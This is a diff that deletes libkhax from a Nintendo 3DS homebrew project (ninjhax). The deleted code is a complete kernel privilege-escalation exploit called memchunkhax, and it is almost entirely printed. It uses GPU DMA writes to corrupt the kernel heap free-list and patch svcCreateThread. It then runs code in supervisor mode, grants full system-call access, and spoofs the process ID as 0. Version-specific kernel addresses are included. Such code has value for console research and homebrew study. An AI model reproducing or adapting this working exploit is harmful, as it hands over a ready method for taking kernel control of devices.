0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - // New 3DS - { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested - { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, - -#undef KPROC_FUNC -}; - -//------------------------------------------------------------------------------------------------ -// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual -// address using the version-specific information in this table entry. -void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const -{ - static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), - "you're sure that this is a 3DS?"); - - // Convert the address to a physical address, since that's how we know the mapping. - u32 physical = osConvertVirtToPhys(address); - if (physical == 0) - { - return nullptr; - } - - // Verify that the address is within FCRAM. - if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) - { - return nullptr; - } - - // Now we can convert. - return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); -} - -//------------------------------------------------------------------------------------------------ -// Retrieve a VersionData for this kernel, or null if not recognized. -const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() -{ - // Get kernel version for comparison. - u32 kernelVersion = osGetKernelVersion(); - - // Determine whether this is a New 3DS. - bool isNew3DS; - if (IsNew3DS(&isNew3DS, kernelVersion) != 0) - { - return nullptr; - } - - // Search our list for a match. - for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) - { - // New 3DS flag must match. - if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) - { - continue; - } - // Kernel version must match. - if (entry->m_kernelVersion != kernelVersion) - { - continue; - } - - return entry; - } - - return nullptr; -} - - -//------------------------------------------------------------------------------------------------ -// -// Class MemChunkHax -// - -//------------------------------------------------------------------------------------------------ -KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; - -//------------------------------------------------------------------------------------------------ -// Basic initialization. -Result KHAX::MemChunkHax::Step1_Initialize() -{ - if (m_nextStep != 1) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Nothing to do in current implementation. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Allocate linear memory for the memchunkhax operation. -Result KHAX::MemChunkHax::Step2_AllocateMemory() -{ - if (m_nextStep != 2) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Allocate the linear memory for the overwrite process. - u32 address = 0xFFFFFFFF; - Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, - static_cast(MEMPERM_READ | MEMPERM_WRITE)); - - KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); - - if (result != 0) - { - return result; - } - - m_overwriteMemory = reinterpret_cast(address); - m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now - - // Why didn't we get a page-aligned address?! - if (address & 0xFFF) - { - // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. - KHAX_printf("Step2:misaligned memory\n"); - return MakeError(26, 7, KHAX_MODULE, 1009); - } - - // Allocate extra memory that we'll need. - m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), - alignof(*m_extraLinear))); - if (!m_extraLinear) - { - KHAX_printf("Step2:failed extra alloc\n"); - return MakeError(26, 3, KHAX_MODULE, 1011); - } - KHAX_printf("Step2:extra=%p\n", m_extraLinear); - - // OK, we're good here. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Free the second and fourth pages of the five. -Result KHAX::MemChunkHax::Step3_SurroundFree() -{ - if (m_nextStep != 3) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // We do this because the exploit involves triggering a heap coalesce. We surround a heap - // block (page) with two freed pages, then free the middle page. By controlling both outside - // pages, we know their addresses, and can fix up the corrupted heap afterward. - // - // Here's what the heap will look like after step 3: - // - // ___XX-X-X___ - // - // _ = unknown (could be allocated and owned by other code) - // X = allocated - // - = allocated then freed by us - // - // In step 4, we will free the second page: - // - // ___X--X-X___ - // - // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's - // "previous" pointer will be set to point to the second page rather than the third. We will - // use gspwn to make that overwrite kernel code instead. - // - // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little - // sandbox to play in. In particular, we can use this design to determine the address of the - // next block--by controlling the location of the next block. - u32 dummy; - - // Free the third page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, - sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 2); - - // Free the fifth page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, - sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 4); - - // Attempt to write to remaining pages. - //KHAX_printf("Step2:probing page [0]\n"); - *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [1]\n"); - *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [3]\n"); - *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [5]\n"); - *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; - KHAX_printf("Step3:probing done\n"); - - // Done. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Verify that the freed heap blocks' data matches our expected layout. -Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() -{ - if (m_nextStep != 4) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Copy the first freed page (third page) out to read its heap metadata. - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - // Debug information about the memory block - KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); - KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The next page from the third should equal the fifth page. - if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4])) - { - KHAX_printf("Step4:[2]->next != [4]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), - &m_overwriteMemory->m_pages[4]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Copy the second freed page (fifth page) out to read its heap metadata. - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); - KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The previous page from the fifth should equal the third page. - if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[2])) - { - KHAX_printf("Step4:[4]->prev != [2]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), - &m_overwriteMemory->m_pages[2]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Validation successful - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. -Result KHAX::MemChunkHax::Step5_CorruptCreateThread() -{ - if (m_nextStep != 5) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - // Read the memory page we're going to gspwn. - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn read failed:%08lx\n", result); - return result; - } - - // Adjust the "next" pointer to point to within the svcCreateThread system call so as to - // corrupt certain instructions. The result will be that calling svcCreateThread will result - // in executing our code. - // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. - // That is, the overwrite adds this offset back in. - m_extraLinear->m_freeBlock.m_next = reinterpret_cast( - m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); - - userFlushDataCache(&m_extraLinear->m_freeBlock.m_next, - sizeof(m_extraLinear->m_freeBlock.m_next)); - - // Do the GSPwn, the actual exploit we've been waiting for. - if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); - return result; - } - - // The heap is now corrupted in two ways (Step6 explains why two ways). - m_corrupted += 2; - - KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); - - // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third - // page into the second page, and in the process zap an instruction pair in svcCreateThread. - u32 dummy; - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), - 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step5:free to pwn failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 1); - - userFlushPrefetch(); - - // We have an additional layer of instability because of the kernel code overwrite. - ++m_corrupted; - - KHAX_printf("Step5:svcCreateThread now hacked\n"); - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Execute svcCreateThread to execute code at SVC privilege. -Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() -{ - if (m_nextStep != 6) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Call svcCreateThread such that r0 is the desired exploit function. Note that the - // parameters to the usual system call thunk are rearranged relative to the actual system call - // - the thread priority parameter is actually the one that goes into r0. In addition, we - // want to pass other parameters that make for an illegal thread creation request, because the - // rest of the thread creation SVC occurs before the hacked code gets executed. We want the - // thread creation request to fail, then the hack to grant us control. Processor ID - // 0x7FFFFFFF seems to do the trick here. - Handle dummyHandle; - Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( - Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); - - KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); - - if (result != STEP6_SUCCESS_RESULT) - { - // If the result was 0, something actually went wrong. - if (result == 0) - { - result = MakeError(27, 11, KHAX_MODULE, 1023); - } - - return result; - } - -#ifdef KHAX_DEBUG - char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; - char *sp = oldACLString; - for (unsigned char b : m_oldACL) - { - *sp++ = "0123456789abcdef"[b >> 4]; - *sp++ = "0123456789abcdef"[b & 15]; - } - *sp = '\0'; - - KHAX_printf("oldACL:%s\n", oldACLString); -#endif - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point thunk (true entry point). -#ifndef _MSC_VER -__attribute__((__naked__)) -#endif -Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() -{ - __asm__ volatile("cpsid aif\n" - "add sp, sp, #8\n"); - - register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); - - __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point. -#ifndef _MSC_VER -__attribute__((__noinline__)) -#endif -Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() -{ - if (Result result = Step6c_UndoCreateThreadPatch()) - { - return result; - } - if (Result result = Step6d_FixHeapCorruption()) - { - return result; - } - if (Result result = Step6e_GrantSVCAccess()) - { - return result; - } - - return STEP6_SUCCESS_RESULT; -} - -//------------------------------------------------------------------------------------------------ -// Undo the code patch that Step5_CorruptCreateThread did. -Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() -{ - // Unpatch svcCreateThread. NOTE: Misaligned pointer. - *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> - m_threadPatchOriginalCode; - - kernelCleanDataCacheLineWithMva( - reinterpret_cast(m_versionData->m_threadPatchAddress)); - userDsb(); - kernelInvalidateInstructionCacheLineWithMva( - reinterpret_cast(m_versionData->m_threadPatchAddress)); - - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Fix the heap corruption caused as a side effect of step 5. -Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() -{ - // The kernel's heap coalesce code seems to be like the following for the case we triggered, - // where we're freeing a block before ("left") an adjacent block ("right"): - // - // (1) left->m_count += right->m_count; - // (2) left->m_next = right->m_next; - // (3) right->m_next->m_prev = left; - // - // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point - // to where we want to patch, such that the write to m_prev is the desired code overwrite. - // (2) is copying the value we put into right->m_next to accomplish (3). - // - // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to - // point to the correct next free block, and do the write to right->m_next->m_prev that didn't - // happen because it instead was writing to kernel code. - - // "left" is the second overwrite page. - auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[1].m_freeBlock)); - // "right->m_next" is the fifth overwrite page. - auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4].m_freeBlock)); - - // Do the two fixups. - left->m_next = rightNext; - --m_corrupted; - - rightNext->m_prev = left; - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant our process access to all system calls, including svcBackdoor. -Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() -{ - // Everything, except nonexistent services 00, 7E or 7F. - static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; - - // Get the KThread pointer. Its type doesn't vary, so far. - KThread *kthread = *m_versionData->m_currentKThreadPtr; - - // Debug dumping. -#ifdef KHAX_DEBUG_DUMP_DATA - // Get the KProcess pointer, whose type varies by kernel version. - void *kprocess = *m_versionData->m_currentKProcessPtr; - - void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); - std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); - std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); - std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); -#endif - - // Get a pointer to the SVC ACL within the SVC area for the thread. - SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); - KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; - - // Save the old one for diagnostic purposes. - std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); - - // Set the ACL for the current thread. - std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant access to all services. -Result KHAX::MemChunkHax::Step7_GrantServiceAccess() -{ - // Backup the original PID. - Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); - return result; - } - - KHAX_printf("Step7:current pid=%lu\n", m_originalPID); - - // Patch the PID to 0, granting access to all services. - svcBackdoor(Step7a_PatchPID); - - // Check whether PID patching succeeded. - u32 newPID; - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - // Attempt patching back anyway, for stability reasons. - svcBackdoor(Step7b_UnpatchPID); - KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); - return result; - } - - if (newPID != 0) - { - KHAX_printf("Step7:nonzero:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - // Reinit ctrulib's srv connection to gain access to all services. - srvExit(); - srvInit(); - - // Restore the original PID now that srv has been tricked into thinking that we're PID 0. - svcBackdoor(Step7b_UnpatchPID); - - // Check whether PID restoring succeeded. - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); - return result; - } - - if (newPID != m_originalPID) - { - KHAX_printf("Step7:not same:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Patch the PID to 0. -Result KHAX::MemChunkHax::Step7a_PatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers - // to translate the raw KProcess pointer into pointers into key fields, and we access the - // m_processID field from it. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = 0; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Restore the original PID. -Result KHAX::MemChunkHax::Step7b_UnpatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID back to the original value. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = s_instance->m_originalPID; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Helper for dumping memory to SD card. -template -bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const -{ - char formatted[32]; - snprintf(formatted, KHAX_lengthof(formatted), filename, - static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? - "New" : "Old"); - - bool result = true; - - FILE *file = std::fopen(formatted, "wb"); - if (file) - { - result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); - std::fclose(file); - } - else - { - result = false; - } - - return result; -} - -//------------------------------------------------------------------------------------------------ -// Free memory and such. -KHAX::MemChunkHax::~MemChunkHax() -{ - // Dump memory to SD card if that is enabled. -#ifdef KHAX_DEBUG_DUMP_DATA - if (m_nextStep > 6) - { - DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); - } -#endif - - // If we're corrupted, we're dead. - if (m_corrupted > 0) - { - KHAX_printf("~:error while corrupt;freezing\n"); - for (;;) - { - svcSleepThread(s64(60) * 1000000000); - } - } - - // This function has to be careful not to crash trying to shut down after an aborted attempt. - if (m_overwriteMemory) - { - u32 dummy; - - // Each page has a flag indicating that it is still allocated. - for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) - { - // Don't free a page unless it remains allocated. - if (m_overwriteAllocated & (1u << x)) - { - Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, - sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); - KHAX_printf("free %u: %08lx\n", x, res); - KHAX_UNUSED(res); - } - } - } - - // Free the extra linear memory. - if (m_extraLinear) - { - linearFree(m_extraLinear); - } - - // s_instance better be us - if (s_instance != this) - { - KHAX_printf("~:s_instance is wrong\n"); - } - else - { - s_instance = nullptr; - } -} - - -//------------------------------------------------------------------------------------------------ -// -// Miscellaneous -// - -//------------------------------------------------------------------------------------------------ -// Make an error code -inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) -{ - return (level << 27) + (summary << 21) + (module << 10) + error; -} - -//------------------------------------------------------------------------------------------------ -// Check whether this system is a New 3DS. -Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) -{ - // If the kernel version isn't already known by the caller, find out. - u32 kernelVersion = kernelVersionAlreadyKnown; - if (kernelVersion == 0) - { - kernelVersion = osGetKernelVersion(); - } - - // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. - if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) - { - // Check whether the system is a New 3DS. If this fails, abort, because being wrong would - // crash the system. - u8 isNew3DS = 0; - if (Result error = APT_CheckNew3DS(&isNew3DS)) - { - *answer = false; - return error; - } - - // Use the result of APT_CheckNew3DS. - *answer = isNew3DS != 0; - return 0; - } - - // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. - *answer = false; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// gspwn, meant for reading from or writing to freed buffers. -Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) -{ - // Copy that floppy. - if (Result result = GX_TextureCopy(static_cast(const_cast(src)), 0, - static_cast(dest), 0, size, 8)) - { - KHAX_printf("gspwn:copy fail:%08lx\n", result); - return result; - } - - // Wait for the operation to finish. - if (wait) - { - gspWaitForPPF(); - } - - return 0; -} - -Result KHAX::userFlushDataCache(const void *p, std::size_t n) -{ - return GSPGPU_FlushDataCache(p, n); -} - -Result KHAX::userInvalidateDataCache(const void *p, std::size_t n) -{ - return GSPGPU_InvalidateDataCache(p, n); -} - -void KHAX::userFlushPrefetch() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c5, 4\n" :: "r"(0)); -} - -void KHAX::userDsb() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 4\n" :: "r"(0)); -} - -void KHAX::userDmb() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 5\n" :: "r"(0)); -} - -void KHAX::kernelCleanDataCacheLineWithMva(const void *p) -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 1\n" :: "r"(p)); -} - -void KHAX::kernelInvalidateInstructionCacheLineWithMva(const void *p) -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c5, 1\n" :: "r"(p)); -} - -//------------------------------------------------------------------------------------------------ -// Given a pointer to a structure that is a member of another structure, -// return a pointer to the outer structure. Inspired by Windows macro. -template -Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) -{ - unsigned char *p = reinterpret_cast(member); - p -= reinterpret_cast(&(static_cast(nullptr)->*field)); - return reinterpret_cast(p); -} - -//------------------------------------------------------------------------------------------------ -// Main initialization function interface. -extern "C" Result khaxInit() -{ - using namespace KHAX; - -#ifdef KHAX_DEBUG - bool isNew3DS; - IsNew3DS(&isNew3DS, 0); - KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), - isNew3DS); -#endif - - // Look up the current system's version in our table. - const VersionData *versionData = VersionData::GetForCurrentSystem(); - if (!versionData) - { - KHAX_printf("khaxInit: Unknown kernel version\n"); - return MakeError(27, 6, KHAX_MODULE, 39); - } - - KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, - versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); - - // Create the hack object. - MemChunkHax hax{ versionData }; - - // Run through the steps. - if (Result result = hax.Step1_Initialize()) - { - KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step2_AllocateMemory()) - { - KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step3_SurroundFree()) - { - KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step4_VerifyExpectedLayout()) - { - KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step5_CorruptCreateThread()) - { - KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step6_ExecuteSVCCode()) - { - KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step7_GrantServiceAccess()) - { - KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); - return result; - } - - KHAX_printf("khaxInit: done\n"); - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything -// and frees all memory on the way out. -extern "C" Result khaxExit() -{ - return 0; -} diff --git a/ninjhax/source/libkhax/khaxinternal.h b/ninjhax/source/libkhax/khaxinternal.h deleted file mode 100644 index 190aaf7..0000000 --- a/ninjhax/source/libkhax/khaxinternal.h +++ /dev/null @@ -1,337 +0,0 @@ -#pragma once - -#ifdef KHAX_DEBUG - #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() -#else - #define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() -#endif - -// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never -// actually compile this program. -#ifdef _MSC_VER - #undef ALIGN - #define ALIGN(x) __declspec(align(x)) - #if _MSC_VER < 1900 - #define alignof __alignof - #endif - #define KHAX_ATTRIBUTE(...) -#else - #define KHAX_ATTRIBUTE(...) __VA_ARGS__ -#endif - -#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) -#define KHAX_UNUSED(...) static_cast(__VA_ARGS__) - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // This code uses offsetof illegally (i.e. on polymorphic classes). - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Winvalid-offsetof" - - //------------------------------------------------------------------------------------------------ - // General linked list node kernel object. - struct KLinkedListNode - { - KLinkedListNode *next; - KLinkedListNode *prev; - void *data; - }; - static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Base class of reference-counted kernel objects. - class KAutoObject - { - public: - u32 m_refCount; // +004 - - protected: - virtual ~KAutoObject() {} - }; - static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); - static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Base class of synchronizable objects. - class KSynchronizationObject : public KAutoObject - { - public: - u32 m_threadSyncCount; // +008 - KLinkedListNode *m_threadSyncFirst; // +00C - KLinkedListNode *m_threadSyncLast; // +010 - }; - static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); - static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, - "KSynchronizationObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - struct KDebugThread; - struct KThreadLocalPage; - class KCodeSet; - - //------------------------------------------------------------------------------------------------ - // Unofficial name - typedef u8 KSVCACL[0x80 / 8]; - - //------------------------------------------------------------------------------------------------ - // ARM VFP register - union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister - { - float m_single[2]; - double m_double; - }; - static_assert(alignof(VFPRegister) == 0x004, - "VFPRegister isn't the expected alignment."); - static_assert(sizeof(VFPRegister) == 0x008, - "VFPRegister isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode register save area. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCRegisterState - { - u32 m_r4; // +000 - u32 m_r5; // +004 - u32 m_r6; // +008 - u32 m_r7; // +00C - u32 m_r8; // +010 - u32 m_r9; // +014 - u32 m_sl; // +018 - u32 m_fp; // +01C - u32 m_sp; // +020 - u32 m_lr; // +024 - }; - static_assert(sizeof(SVCRegisterState) == 0x028, - "SVCRegisterState isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode thread state structure. This is the last part of the per- - // thread page allocated in 0xFF4XX000. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCThreadArea - { - KSVCACL m_svcAccessControl; // +000 - u32 m_unknown010; // +010 - u32 m_unknown014; // +014 - SVCRegisterState m_svcRegisterState; // +018 - VFPRegister m_vfpRegisters[16]; // +040 - u32 m_unknown0C4; // +0C0 